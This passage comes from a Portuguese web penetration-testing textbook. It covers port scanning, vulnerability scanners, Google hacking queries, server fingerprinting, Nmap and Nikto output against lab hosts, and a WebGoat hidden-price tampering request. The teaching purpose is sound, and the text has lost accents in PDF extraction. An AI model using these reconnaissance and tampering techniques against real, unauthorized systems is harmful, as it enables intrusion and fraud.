1 Varredura SYN neste mtodo, um pacote SYN enviado ao ativo, o qual deve responder com um pacote SYN-ACK, caso a porta esteja aberta. Se isso acontecer, a ferramenta envia um RST, para que a conexo TCP no seja estabelecida.
1 Varredura UDP um pacote UDP enviado para uma porta do ativo, o qual deve
gerar uma mensagem ICMP Port Unreachable, caso esteja fechada. Se nenhuma mensagem de erro for recebida pelo aplicativo, a porta considerada aberta.
1 Varredura FIN um pacote com o flag FIN ligado enviado a uma porta e, caso
ela esteja fechada, um pacote RST deve ser devolvido pelo ativo. De outro modo, o pacote deve ser ignorado e nenhuma resposta gerada. Uma vez detectadas as portas abertas, a identificao dos respectivos servios pode ser realizada por meio de duas tcnicas principais: Verificao nula e Portas TCP e UDP.
47
A primeira, aplicvel ao protocolo TCP, consiste em se conectar na porta e esperar alguns segundos, pela possibilidade de apresentao do banner de boas-vindas. Se isto ocorrer, ele comparado contra uma base que tem o mapeamento para verses especficas de servios. Note-se que isto pode gerar falsos positivos, caso o ativo seja configurado para exibir um banner de outro fornecedor. O segundo mtodo, mais confivel e aplicvel a portas TCP e UDP, resume-se em interagir com o servio e realizar a identificao, de acordo com o comportamento apresentado e com uma base de respostas caractersticas de servios conhecidos. A ferramenta mais popular deste tipo o Nmap, criado por Gordon Fyodor Lyon e distribudo como software livre para plataformas Windows, Linux e Mac OS X. Pode ser usado para levantar rapidamente as informaes de uma nica mquina ou de redes inteiras, empregando os mais diversos mtodos conhecidos. A interface padro por linha de comando, mas h interfaces grficas disponveis, como Zenmap e NmapSI.
Varredores de vulnerabilidades
Estas ferramentas tm por objetivo encontrar, de maneira automatizada, o maior nmero possvel de vulnerabilidades em um ativo. O mecanismo bsico de funcionamento consiste no envio de requisies e anlise das respostas obtidas, em busca de evidncias de que uma dada vulnerabilidade est presente. Por exemplo, o varredor pode tentar acessar arquivos de exemplo instalados por padro em uma dada plataforma e, se a solicitao for bem-sucedida, possvel concluir que h
um problema a ser resolvido. Essa estratgia tima para verificar fraquezas em softwares de prateleira e os embutidos em hardware, uma vez que as instalaes no variam muito de uma mquina para outra e, assim, possvel construir uma base de dados de vulnerabilidades que podem afet-los. Aplicaes web, por outro lado, tendem a ser nicas, j que normalmente so construdas para propsitos especficos e, logo, devem ser tratadas como tais, inviabilizando a criao de um dicionrio especfico de fraquezas. As dificuldades encontradas em web spiders, que foram discutidas anteriormente, tambm afetam os varredores de vulnerabilidades, mas em um grau maior, pois a tarefa a ser executada depende da qualidade do mapeamento. Em decorrncia deste fato e do estado-da-arte desse tipo de tecnologia, apenas algumas classes de vulnerabilidades de aplicaes web podem ser detectadas de maneira confivel e, para qualquer classe, no se deve esperar que todas as ocorrncias, em uma dada aplicao, sejam descobertas. Sempre existiro casos mais sutis que dependero do conhecimento do analista de segurana para serem identificados. Logo, importante ter em mente que as ferramentas ainda no so capazes de substituir os seres humanos, mas sim de auxili-los em termos de produtividade. De acordo com Stuttard e Pinto (2007), as vulnerabilidades que podem ser encontradas
Teste de Invaso de Aplicaes Web
automaticamente so aquelas para as quais possvel descrever claramente a assinatura de ataque e o resultado que deve ser verificado para inferir a presena da fraqueza, como por exemplo:
1 Cross-site scripting refletido. 1 Alguns tipos de injeo de SQL. 1 Alguns tipos de injeo de comando. 1 Navegao e listagem de diretrios.
48
importante conhecer tambm os tipos de vulnerabilidades que normalmente no so detectados corretamente. A lista abaixo, adaptada de Stuttard e Pinto (2007), no visa ser exaustiva:
1 Falhas no controle de acesso. 1 Problemas que, para serem explorados, precisam que parmetros sejam alterados
considerando a semntica associada.
1 Uso inadequado de criptografia. 1 Falhas de lgica decorrentes de situaes no previstas, como a remoo de um
parmetro obrigatrio. Um estudo realizado por Doup, Cova e Vigna (2010) avaliou onze varredores de vulnerabilidades, livres e pagos, contra a aplicao WackoPicko, que desenvolveram especificamente para os testes, contendo dezesseis vulnerabilidades de diversas classes. O trabalho analisou, para cada ferramenta, capacidade de deteco, quantidade de falsos positivos reportados, qualidade do mapeamento, tempo de execuo, nmero de acessos realizados, interpretao de Javascript e criao automtica de contas de usurio. Alguns dos resultados podem ser observados na Figura 2.5, que aproveita para dar exemplos dos principais varredores existentes atualmente. Falsos positivos 1 11 1 15 3 0 5 3 1 1 215 Tempo de execuo (s) < 1000 < 2000 < 1000 < 1000 < 1000 < 1000 > 25000 < 2000 < 2000 < 2000 < 2000
Captulo 2 - Reconhecimento e mapeamento
Licena Comercial Comercial Comercial GPLv3 Comercial Comercial Comercial Comercial CAL GPLv2 Comercial
Escore 14 10 13 3 6 4 13 4 6 9 13
Outras ferramentas
Outras ferramentas podem ser teis em situaes especficas:
ser teis em situaes especficas e que devem ser consideradas como parte de um cinto de utilidades de uma pessoa que realiza testes de invaso em aplicaes web. Adicionalmente,
49
em alguns casos, pode ser necessrio personalizar uma ferramenta j existente ou criar uma prpria e, assim, interessante dominar uma ou mais linguagens de programao.
Netcat
Utilitrio de rede distribudo sob licena GPL e considerado por muitos como o canivete suo de redes TCP/IP, devido a sua grande versatilidade. Permite enviar e receber dados, utilizando os protocolos TCP e UDP, em qualquer porta e com os parmetros que se queira. Alm disso, pode ser usado independentemente ou em conjunto com outras ferramentas ou scripts e facilmente compilvel, sem alteraes, para diversos sistemas operacionais, como Linux, BSD, Unix e Mac OS X. Um ponto negativo, entretanto, a falta de suporte aos protocolos SSL e TLS, mas que pode ser resolvido por meio da associao com outras ferramentas. Como exemplo, considere-se o exerccio sobre mtodos HTTP do Captulo 1. Ele pode ser executado com o Netcat da seguinte maneira:
OpenSSL
Utilitrio livre que permite trabalhar com diversos algoritmos criptogrficos e com os protocolos SSL e TLS, suprindo assim a deficincia apresentada pelo Netcat. Est disponvel para inmeras plataformas, como Linux, BSD, Mac OS X e Windows, e empregado por diversos softwares, como o Apache mod_ssl, Sendmail e OpenCA. Pode ser usado via linha de comando ou programaticamente, por meio de cdigos escritos em linguagens C e C++. Em testes de invaso de aplicaes web, empregado para verificar a configurao de SSL/TLS de servidores web e dos demais elementos do ambiente.
Nikto
Aplicativo livre, fornecido sob licena GPL, que serve para varrer servidores web em busca de arquivos e diretrios instalados por padro, problemas especficos de verso e configuraes vigentes. A base de dados inclui milhares de itens para inmeras plataformas e atualizada constantemente com novas informaes. Uma informao importante que Nikto uma ferramenta ruidosa, isto , procura executar a tarefa no menor tempo possvel, sem se preocupar em ser detectada por sistemas de deteco de intruso.
Metasploit Framework
uma plataforma livre escrita em linguagem Ruby e cujos componentes so desenvolvidos em C e Assembly. Usada em testes de invaso e criao de ferramentas de segurana, possui uma base de dados de exploits para as mais diversas plataformas, que pode ser
Teste de Invaso de Aplicaes Web
Exploit Programa desenvolvido para explorar uma ou mais vulnerabilidades de um sistema ou ambiente e violar, assim, requisitos implcitos ou explcitos de segurana da informao.
estendida pelo prprio analista de segurana. Especificamente para avaliao de segurana de aplicaes web, pode ser empregada na fase de mapeamento, na explorao de vulnerabilidades nas plataformas subjacentes e na automatizao de diversas tarefas, por exemplo.
50
Reconhecimento
A fase de reconhecimento tem por objetivo levantar o mximo possvel de informaes da aplicao alvo, principalmente nos casos de teste caixa-preta, em que quase nada fornecido de antemo ao analista de segurana. Embora esta etapa seja fundamental para um teste bem-sucedido, muitas vezes no executada sistematicamente pelo auditor. Para que o reconhecimento seja realizado com xito, importante se ter uma ideia do tipo de informao que deve ser procurada.
1 Nomes de funcionrios. 1 Identificadores de usurios. 1 Informaes diversas sobre usurios. 1 Tecnologias empregadas. 1 Servidores e topologia de rede. 1 Configuraes dos componentes. 1 Recursos disponibilizados pelos servidores web. 1 Arquivos robots.txt.
A lista abaixo ilustra alguns exemplos e as respectivas finalidades em um teste de invaso:
1 Nomes de funcionrios utilizados para compor identificadores de usurios da aplicao, para testes de quebra de autenticao.
51
1 Arquivos robots.txt indicam a web spiders partes de um stio web que no devem
ser copiadas, porm, cabe ao software decidir se honra ou no a solicitao. Como os recursos listados nesses arquivos podem ser acessados, se desejado, eles revelam elementos da aplicao que devem ser mapeados e analisados.
1 Redes sociais. 1 Grupos de discusso. 1 Anncios de emprego. 1 WHOIS. 1 DNS. 1 Redes sociais nomes de funcionrios, usurios e preferncias pessoais podem ser
encontradas em redes sociais, como Orkut, LinkedIn e Facebook. Vasculhando as comunidades e descries de cada pessoa, tambm, possvel se ter uma noo das tecnologias empregadas pela empresa e obter respostas para perguntas secretas usadas em mecanismos de recuperao de senhas.
1 DNS no caso improvvel de uma transferncia de zona estar habilitada para qualquer um,
possvel obter toda a base de dados dos servidores DNS da empresa, contendo nomes de servidores e endereos IP. De outro modo, a partir dos registros de servidores de nome e de e-mail, pode-se identificar os temas utilizados na atribuio de nomes para ativos.
DNS Domain Name System um sistema hierrquico e distribudo de gerenciamento de nomes de domnio, permitindo que estes sejam traduzidos para endereos IP e viceversa, no caso de DNS reverso.
Google hacking
Tcnica que utiliza o mecanismo de busca do Google para encontrar vulnerabilidades de software e de configurao em sistemas acessveis pela internet. Embora o termo remeta ferramenta especfica do Google, os conceitos so gerais e podem ser aplicados a outros servios similares. O uso em avaliaes de segurana possvel, porque esses mecanismos armazenam quase tudo que encontram pela frente em uma gigantesca base de dados, que disponibilizada
para consultas baseadas em palavras e frases. Desse modo, o auditor de segurana pode ter acesso a itens especficos, sem a necessidade de contatar o servidor web original da aplicao.
52
A partir disso, fica fcil perceber o valor de Google hacking para um teste de invaso em aplicaes web, na fase de reconhecimento, quando informaes preliminares sobre o alvo so levantadas. Observe-se, entretanto, que a tcnica no aplicvel para sistemas acessveis somente pela rede interna, uma vez que os recursos da aplicao no podem ser catalogados pelo mecanismo de busca. Isto verdade se um clone ou uma adaptao do sistema no for disponibilizado, separadamente, para usurios externos. Neste caso, a tendncia que os servidores dos dois ambientes sejam configurados de maneira muito prxima, seno igual, e, assim, vulnerabilidades em um lado provavelmente se refletem no outro. Antes de apresentar algumas consultas interessantes para testes de invaso, fundamental fixar conceitos importantes sobre como elas so interpretadas e executadas, como devem ser refinadas e os operadores avanados existentes.
Regras bsicas
Os seguintes itens representam os conceitos bsicos necessrios para se realizar uma consulta ao mecanismo de busca do Google:
1 Delimitar com aspas duplas um conjunto de palavras determina que estas sejam
agrupadas como uma frase, que deve aparecer exatamente igual nos resultados.
1 No so considerados mais que 32 termos na pesquisa e tudo que excede este limite
descartado pelo mecanismo.
1 A ordem das palavras afeta o resultado da busca. 1 O operador OR deve ser escrito em maisculas e seleciona as pginas que contm
pelo menos um dos termos. Lembre-se que, normalmente, todos os termos so considerados, isto , o operador AND empregado por padro.
relevante para a pesquisa, mas ignorado pelo Google, por ser uma palavra
53
Operadores avanados
Existem diversos operadores avanados que podem ser utilizados para refinar os resultados de uma busca e os seguintes itens devem ser observados no uso deles (Long et al, 2008):
1 O termo de busca pode ser uma nica palavra ou uma frase entre aspas duplas. 1 Uma pesquisa pode conter termos simples misturados com operadores avanados,
desde que as sintaxes sejam respeitadas.
1 Operadores que comeam com all, normalmente, no se do bem com outros operadores e, portanto, devem ser empregados sozinhos.
1 site 1 intitle 1 allintitle 1 inurl 1 allinurl 1 filetype 1 link 1 author 1 site restringe a busca a pginas do domnio especificado e, assim, deve ser usado em
testes de invaso para limitar os resultados ao escopo do trabalho. Ex.: a pesquisa site:esr. rnp.br enumera apenas as pginas do domnio da Escola Superior de Redes da RNP.
1 intitle por padro, os termos de busca so pesquisados em qualquer lugar das pginas
contidas na base de dados do Google. Para limitar a pesquisa ao ttulo delas, isto , ao texto delimitado pelo marcador TITLE, este operador deve ser empregado. Ex.: a pesquisa intitle:index of retorna pginas que contm index of no ttulo, o que comum quando a navegao de diretrios est habilitada no servidor web.
1 allintitle similar a intitle, determina que todos os termos pospostos devem estar
presentes no ttulo da pgina. Ex.: para encontrar pginas cujos ttulos contm index of e imagens, a pesquisa allintitle:index of imagens pode ser utilizada.
1 inurl a palavra ou frase deve aparecer na URL do recurso. Ex.: a pesquisa inurl:admin
lista pginas que contm admin na URL e pode ser utilizada para encontrar eventuais
Teste de Invaso de Aplicaes Web
1 allinurl todos os termos pospostos devem fazer parte da URL. Ex.: allinurl:admin password. 1 filetype instrui o Google a listar somente arquivos de um determinado tipo. Ex.: para
encontrar arquivos de configurao, pode-se utilizar a busca filetype:conf.
1 link permite encontrar pginas que possuam links para o domnio especificado.
Ex.: link:rnp.br.
1 author vlido para o Google Groups, permite listar mensagens postadas pelo autor
especificado. Ex.: author:stallman lista mensagens cujos autores tm Stallman como parte do nome.
54
Exemplos de consultas
Vejamos alguns exemplos de consultas para encontrar na internet tudo que se possa imaginar, desde cmeras IP at arquivos de senhas de usurios. Considerando a utilidade da tcnica, recomenda-se gastar algum tempo estudando as pesquisas existentes na base, as quais podem ajudar a encontrar as informaes desejadas de uma aplicao.
nenhum pacote enviado ao alvo. Por outro lado, num teste caixa-preta, dificilmente o analista ser capaz de escutar o trfego da rede. A outra estratgia ativa, isto , a identificao ocorre por meio de interao com o servidor ou elemento de rede. Dependendo do tempo disponvel, pode-se diminuir a velocidade com que a verificao executada, para no gerar tantos alertas nos sistemas de deteco de intruso. Um utilitrio que pode ser empregado com esta finalidade o Nmap, conforme exemplo a seguir:
esruser@ubuntu:~$ nmap -A -T4 192.168.1.1 Starting Nmap 5.00 ( http://nmap.org ) at 2011-01-06 16:40 BRST Interesting ports on 192.168.1.1: Not shown: 997 filtered ports PORT STATE SERVICE VERSION
55
Netgear broadband router or ZyXel VoIP adapter Netgear broadband router or ZyXel VoIP adapter Embedded Allegro RomPager webserver 4.07
UPnP/1.0 (ZyXEL ZyWALL 2) |_ html-title: Protected Object | | |_ http-auth: HTTP Service requires authentication Auth type: Basic, realm = 550B-4P2 HTTP server may accept admin:admin combination for Basic
authentication Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.75 seconds
No comando acima, a opo -A habilita a deteco de nome e verso de sistema operacional, o mdulo NSE e o traceroute, enquanto a opo -T4 faz com que a varredura seja executada mais rapidamente. Observe-se que foram encontrados os servios FTP, telnet e HTTP abertos, que este ltimo emprega autenticao bsica HTTP e que foi detectado um usurio admin com senha admin. Tal achado, nesta etapa, uma grande descoberta, pois j permite acesso administrativo aplicao logo no incio do trabalho. Observamos que o Nmap realizou a identificao do servidor web, graas opo -A. Porm, isto faz com que o processo seja executado para todos os servios disponveis no ativo, o que nem sempre desejvel. Isso pode ser resolvido pela opo -p, que restringe as portas que sero analisadas.
Uma alternativa que fornece resultados semelhantes procurar por contedo instalado por padro pelos softwares. importante mencionar que esse mtodo no muito confivel, pois extremamente fcil configurar essas pginas, em plataformas diferentes, com o intuito de enganar eventuais atacantes.
Teste de Invaso de Aplicaes Web
56
Um mtodo mais robusto de reconhecimento de servidores web envolve analisar o comportamento deles em diversas situaes, pois este varia bastante de fornecedor para fornecedor, servindo assim como um discriminante (Meucci et al., 2008).
Itens que podem ser observados incluem o valor do cabealho Server, a ordem dos cabealhos em respostas e o tratamento de requisies mal formadas ou com protocolos e verses inexistentes, dentre outros. O exemplo abaixo ilustra a disposio dos cabealhos em uma resposta a uma requisio HEAD, feita para os servidores Apache, lighttpd, nginx e Tomcat. Apache 2.2.17
HTTP/1.1 200 OK 0 Date: Wed, 05 Jan 2011 13:53:25 GMT 1 Server: Apache/2.2.17 (Fedora) 2 Last-Modified: Mon, 22 Nov 2010 01:40:24 GMT 3 ETag: 61c27-5056-4959a57036427 4 Accept-Ranges: bytes 5 Content-Length: 20566 6 Connection: close
Captulo 2 - Reconhecimento e mapeamento
lighttpd 1.4.26
HTTP/1.0 200 OK 7 Content-Type: text/html 4 Accept-Ranges: bytes 3 ETag: 852229764 2 Last-Modified: Mon, 22 Oct 2007 12:13:49 GMT 5 Content-Length: 844 6 Connection: close 0 Date: Wed, 05 Jan 2011 13:56:56 GMT 1 Server: lighttpd/1.4.26
57
nginx 0.8.53
HTTP/1.1 200 OK 1 Server: nginx/0.8.53 0 Date: Wed, 05 Jan 2011 13:57:59 GMT 7 Content-Type: text/html 5 Content-Length: 3700 2 Last-Modified: Sun, 31 Oct 2010 21:12:28 GMT 6 Connection: close 4 Accept-Ranges: bytes
Tomcat 6.0.26
HTTP/1.1 200 OK 1 Server: Apache-Coyote/1.1 4 Accept-Ranges: bytes 3 ETag: W/7777-1291366189000 2 Last-Modified: Fri, 03 Dec 2010 08:49:49 GMT 7 Content-Type: text/html 5 Content-Length: 7777 0 Date: Wed, 05 Jan 2011 14:00:19 GMT 6 Connection: close
Obviamente, realizar testes dessa natureza manualmente completamente invivel e, portanto, necessrio automatizar a tarefa com uma ferramenta como o httprint, da net-square. Este utilitrio bem interessante e prtico, mas requer que o arquivo de assinaturas seja atualizado, para que novas verses de servidores web sejam corretamente identificadas. A Figura 2.7 ilustra o resultado de um teste, empregando a base padro contra um servidor Apache 2.2.17.
Figura 2.7 Sada do httprint em teste de servidor Apache.
58
esruser@ubuntu:~$ nc exemplo.esr.rnp.br 8080 OPTIONS / HTTP/1.0 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS Content-Length: 0 Date: Wed, 05 Jan 2011 16:16:12 GMT Connection: close
Se o mtodo OPTIONS no for suportado, a sada ser semelhante abaixo:
esruser@ubuntu:~$ nc exemplo.esr.rnp.br 8090 OPTIONS / HTTP/1.0 HTTP/1.1 405 Not Allowed Server: nginx/0.8.53 Date: Wed, 05 Jan 2011 16:23:21 GMT Content-Type: text/html Content-Length: 173 Connection: close
Neste caso, uma soluo consiste em se criar um script para fazer requisies ao servidor web, para todos os mtodos existentes, e observar aqueles que so aceitos. possvel, tambm, empregar o Nikto e aproveitar-se de diversas outras verificaes de configurao que ele faz contra o servidor.
q
Captulo 2 - Reconhecimento e mapeamento
utilizados para acessar aplicaes em servidores compartilhados, no se deve esquecer de inclui-lo, sob pena de no se alcanar os resultados desejados.
59
Um teste simples para detectar o uso de servidor compartilhado por nomes consiste em resolver o nome de domnio da aplicao e tentar o acesso por endereo IP, o que faz com que a requisio seja tratada pelo host padro. Se este no for o responsvel por atender a aplicao, a pgina inicial de outro stio web exibida, o que implica que o servidor no dedicado. Em caso contrrio, o mtodo no capaz de fornecer uma resposta conclusiva. Outra maneira de testar o compartilhamento de servidor por meio de ferramentas web que mapeiam endereos IP para nomes de domnio, de maneira similar a um DNS reverso (Meucci et al., 2008). Para exemplificar, a Figura 2.8 ilustra a sada de uma consulta realizada para o IP 200.219.245.136 ao servio WebHosting Info, a qual indica claramente a adoo de hospedagem virtual baseada em nomes.
Google ou outro mecanismo de busca. Uma abordagem mais agressiva consiste no uso de ferramentas como o Nikto, que testam a presena de diversos itens de configurao, de acordo com uma base pr-cadastrada. O relatrio abaixo resultado de um teste efetuado pelo Nikto contra uma mquina executando a distribuio Damn Vulnerable Linux. Observe-se que diversos diretrios e potenciais vulnerabilidades foram encontrados pelo utilitrio e que o tempo de varredura, nove segundos, extremamente baixo.
60
esruser@ubuntu:~$ nikto -host dvl.esr.rnp.br - Nikto v2.03/2.04 --------------------------------------------------------------------------+ Target IP: 192.168.213.100 + Target Hostname: + Target Port: + Start Time: dvl.esr.rnp.br 80 2011-01-08 11:07:20
--------------------------------------------------------------------------+ Server: Apache/1.3.37 (Unix) PHP/4.4.4 + No CGI Directories found (use -C all to force check all possible dirs) - Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE + OSVDB-877: HTTP method (Allow Header): TRACE is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST. + Apache/1.3.37 appears to be outdated (current is at least Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current. + PHP/4.4.4 appears to be outdated (current is at least 5.2.8) + OSVDB-0: GET /./ : Appending /./ to a directory allows indexing + OSVDB-0: GET /%2e/ : Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. http://www.securityfocus. com/bid/2513. + OSVDB-877: TRACK / : TRACK option (TRACE alias) appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehatmirror/WhitePaper_screen.pdf for details + OSVDB-877: TRACE / : TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/ WhitePaper_screen.pdf for details + OSVDB-119: GET /?PageServices : The remote server may allow directory listings through Web Publisher by forcing the server to show all files via open directory browsing. Web Publisher should be disabled. http://cve.mitre.org/cgi-bin/cvename. cgi?name=CVE-1999-0269. + OSVDB-119: GET /?wp-cs-dump : The remote server may allow directory listings through Web Publisher by forcing the server to show all files via open directory browsing. Web Publisher should be disabled. http://cve.mitre.org/cgi-bin/cvename. cgi?name=CVE-1999-0269. + OSVDB-3092: GET /info/ : This might be interesting... + OSVDB-3092: GET /phpmyadmin/ : phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. + OSVDB-3092: GET /manual/ : Web server manual found. + OSVDB-3268: GET /icons/ : Directory indexing is enabled: /icons + OSVDB-3268: GET /manual/images/ : Directory indexing is enabled: / manual/images + OSVDB-3233: GET /icons/README : Apache default file found. + 3577 items checked: 16 item(s) reported on remote host
Captulo 2 - Reconhecimento e mapeamento
61
+ End Time: 2011-01-08 11:07:29 (9 seconds) --------------------------------------------------------------------------+ 1 host(s) tested Test Options: -host dvl.esr.rnp.br ---------------------------------------------------------------------------
Mapeamento
Na fase de mapeamento, deve ser criado um mapa da aplicao, que reflita a estruturao dos arquivos componentes, as funcionalidades ofertadas, os pontos de entrada de informao e as tecnologias utilizadas. Tudo isso realizado por meio dos seguintes passos:
1 Cpia das pginas e recursos da aplicao. 1 Identificao dos pontos de entrada de informao. 1 Relacionamento com as informaes de reconhecimento.
so superadas, porque estas tarefas ficam a cargo do analista. A Figura 2.9 ilustra o mapa de uma aplicao, gerado pelo software Burp Suite por meio desta abordagem. O lado esquerdo da interface mostra a estrutura da aplicao, indicando, neste exemplo, diretrios, arquivos e funcionalidades definidas por parmetros passados a scripts PHP. Na parte direita superior, um resumo da requisio e da resposta, relacionadas ao elemento selecionado, apresentado e, na parte inferior, detalhes so fornecidos. O arquivo accounts.txt, exibido na figura, contm usurios e senhas do sistema e foi descoberto automaticamente a partir do contedo do arquivo robots.txt.
62
Neste processo, comum que recursos ainda no mapeados sejam revelados, por meio de links ou comentrios nas pginas capturadas. Esses elementos podem englobar, por exemplo, funcionalidades desativadas ou futuras, pginas antigas, pginas privilegiadas que no esto visveis para o perfil de acesso atual, servidores auxiliares e plataformas de desenvolvimento e teste. Todas as novas funcionalidades e pginas descobertas tambm devem ser copiadas e fazer parte do mapa da aplicao. No caso dos novos servidores, deve-se voltar atividade de reco-
nhecimento, se fizerem parte do escopo contratado. Seno, importante discutir com o cliente a necessidade de inclui-los no teste, considerando que no sejam de uma empresa externa. Recursos escondidos, muitas vezes, podem ser encontrados a partir dos elementos j mapeados. Para isso, inicialmente, necessrio analisar o resultado obtido at o
Captulo 2 - Reconhecimento e mapeamento
momento e observar os nomes de arquivos, diretrios e parmetros. Para cada arquivo da lista, deve-se efetuar requisies, variando-se a extenso para outras, como .bak, .old, .tmp e .inc. Em seguida, caso um padro de nomes tenha sido identificado, itens cujos nomes o satisfaam devem ter a existncia verificada (Stuttard e Pinto, 2007). Por exemplo, se o mapa contiver arquivos AddUser.asp e ViewUser.asp, existe uma chance que RemoveUser.asp, UpdateUser.asp e DisableUser.asp tambm sejam vlidos.
63
Conforme Meucci et al (2008) e Sttutard e Pinto (2007), os seguintes elementos devem ser levantados:
1 Parmetros passados no corpo de requisies POST, principalmente, campos escondidos, que no so visveis pela interface da aplicao.
1 Parmetros passados via URL em requisies GET. Considere-se que nem sempre os
delimitadores-padro so utilizados.
1 Cookies e os lugares em que so definidos e modificados. 1 Cabealhos que tendem a ser processados pela aplicao, como User-Agent,
Referer e Host.
1 Cabealhos no padronizados utilizados em requisies GET e POST. 1 Canais secundrios que podem ser controlados pelo usurio. Por exemplo, um
servidor de arquivos de rede que permite submeter arquivos pelo protocolo FTP e visualiz-los em uma interface web. Uma regra de ouro para o desenvolvimento de softwares seguros que todo usurio deve ser considerado malicioso e, portanto, nunca se deve confiar em nada que ele fornece.
1 H vulnerabilidades que afetam apenas linguagens e plataformas especficas. 1 Ataques que envolvem interao com o sistema operacional devem utilizar os comandos
especficos da plataforma.
1 Relaes de confiana entre servidores e o posicionamento na topologia de rede permitem identificar elementos estratgicos que devero ser explorados para o controle completo do ambiente.
64
No restante deste livro, os mtodos empregados para deteco e explorao de vulnerabilidades sero apresentados, iniciando-se pelo abuso de controles no lado cliente do sistema.
modo, esses mecanismos podem ser utilizados para auxiliar na interao do usurio com a aplicao, evitando trfego de dados invlidos pela rede, em caso de erros, mas no como o nico ponto para validao de entradas. O caso clssico deste problema, que afetou diversas lojas virtuais, nos princpios do comrcio eletrnico, o armazenamento de preos em campos escondidos, para uso no clculo da fatura a ser paga pelo cliente. As motivaes por trs desta abordagem so facilitar o desenvolvimento da aplicao, diminuindo a interao com o banco de dados, e prover segurana por obscuridade, baseada no falso pensamento de que o campo escondido no ser modificado, porque ele no visvel aos usurios. O mtodo mais simples de violar o uso de campos escondidos consiste em gravar o formulrio localmente, editar o valor do campo, recarregar o formulrio em um navegador e submet-lo ao servidor (Stuttard e Pinto, 2007). Uma abordagem mais elegante e prtica, contudo, utilizar um proxy de interceptao, para alterar as informaes desejadas, em tempo de execuo, antes que a requisio deixe a mquina do usurio. Esta tcnica bem verstil e tambm pode ser empregada para quebrar
Captulo 2 - Reconhecimento e mapeamento
restries impostas a campos de formulrios e validao baseada em cdigo Javascript. O prximo exemplo, baseado no WebScarab e WegGoat, ilustra mais detalhadamente como este tipo de vulnerabilidade pode ser explorado. A Figura 2.10 mostra o exerccio sobre explorao de campos escondidos do WegGoat, que simula uma aplicao de comrcio eletrnico.
65
A interface bem simples e permite que o usurio altere a quantidade do elemento presente no carrinho de compras ou que efetive o pedido, clicando no boto Purchase. Quando isto acontece, a seguinte requisio enviada para o servidor web:
POST http://webgoat.esr.rnp.br:8080/webgoat/ attack?Screen=60&menu=1700 HTTP/1.1 Host: webgoat.esr.rnp.br:8080 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.7,pt-br;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://webgoat.esr.rnp.br:8080/webgoat/ attack?Screen=60&menu=1700 Cookie: JSESSIONID=325E4532DAA7BD43EA8C2AE5824783C0 Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= Content-Type: application/x-www-form-urlencoded Content-length: 35
Teste de Invaso de Aplicaes Web
QTY=1&SUBMIT=Purchase&Price=2999.99
Observe-se que o corpo da requisio contm os parmetros QTY, SUBMIT e Price. Qual seria o motivo do preo ser submetido como parte da requisio? Normalmente, apenas as informaes que sero processadas pela aplicao so enviadas e, assim, razovel supor que o valor ser empregado para compor o total do pedido. Se esta hiptese estiver correta, a alterao do valor do campo escondido far com que o preo desejado seja cobrado pelo produto. Este passo, executado por meio da tela de interceptao do WebScarab, est ilustrado na Figura 2.11, e o resultado, na Figura 2.12.
66
Contramedidas
Para evitar que uma aplicao padea de vulnerabilidades relacionadas a controles implementados no lado cliente, as seguintes melhores prticas devem ser observadas:
q
Captulo 2 - Reconhecimento e mapeamento
1 Nunca espere que todos os parmetros previstos sejam recebidos como parte
da requisio. Usurios maliciosos podem remover um ou mais itens, antes de submet-la aplicao.
67
68
Roteiro de Atividades 2
Atividade 1 Ferramentas bsicas
Nesta atividade, o aluno se familiarizar com as ferramentas bsicas que so utilizadas nas diversas etapas de um teste de invaso. Para inici-la, carregue as mquinas virtuais do aluno e do servidor (Fedora) e execute os roteiros na primeira delas.
Proxies de interceptao
Para utilizar proxies de interceptao, necessrio configurar a ferramenta para escutar a porta desejada e o navegador para direcionar todo trfego para ela. Os roteiros abaixo ilustram como isso pode ser realizado nos proxies Burp Suite, Paros e WebScarab e nos navegadores Firefox, Opera e Chrome. Configurao de porta no Burp Suite
1. Inicie o Burp Suite, presente no menu Aplicativos\Curso Ferramentas. 2. Clique na aba Proxy e, em seguida, na aba-filha Options. 3. Selecione a primeira linha da tabela e clique no boto Edit. 4. Digite a porta desejada no campo local listener port e mantenha listen on loopback
3. Selecione a primeira linha da tabela e clique no boto Stop. 4. Digite a porta desejada no campo Port, abaixo da tabela. 5. Para finalizar, clique em Start.
Configurao do Firefox
1. Inicie o Firefox, presente no menu Aplicativos\Internet. 2. Inicie o proxy desejado. Para este exerccio, utilize o WebScarab, presente no menu
Aplicativos\Curso Ferramentas.
69
3. No Firefox, clique em Edit, seguido de Preferences. 4. Clique na opo Advanced e na aba Network. 5. Clique em Settings. 6. Selecione Manual proxy configuration. 7. Digite localhost no campo HTTP Proxy e 8008 no campo Port. 8. Clique em Use this proxy server for all protocols. 9. Limpe o campo No proxy for. 10. Finalize a configurao, clicando em OK e em Close. 11. Os passos seguintes so para testar o acesso via WebScarab, mas sem interceptao de
Configurao do Multiproxy Switch O Multiproxy Switch um complemento para Firefox, que permite selecionar um proxy a partir de uma lista pr-cadastrada, simplificando muito o trabalho de configurao. possvel exibi-lo na barra de ferramentas, no menu de contexto e na barra de estado do navegador, de acordo com as preferncias do usurio. O roteiro abaixo inclui o Paros na lista de proxies cadastrados.
1. Inicie o Firefox, presente no menu Aplicativos\Internet. 2. Clique no Multiproxy Switch, na parte direita da barra de estado, e observe que j existem
Configurao do Opera
1. Inicie o Opera, presente no menu Aplicativos\Internet. 2. Inicie o proxy desejado. Para este exerccio, utilize o Burp Suite, presente no menu
Aplicativos\Curso Ferramentas.
70
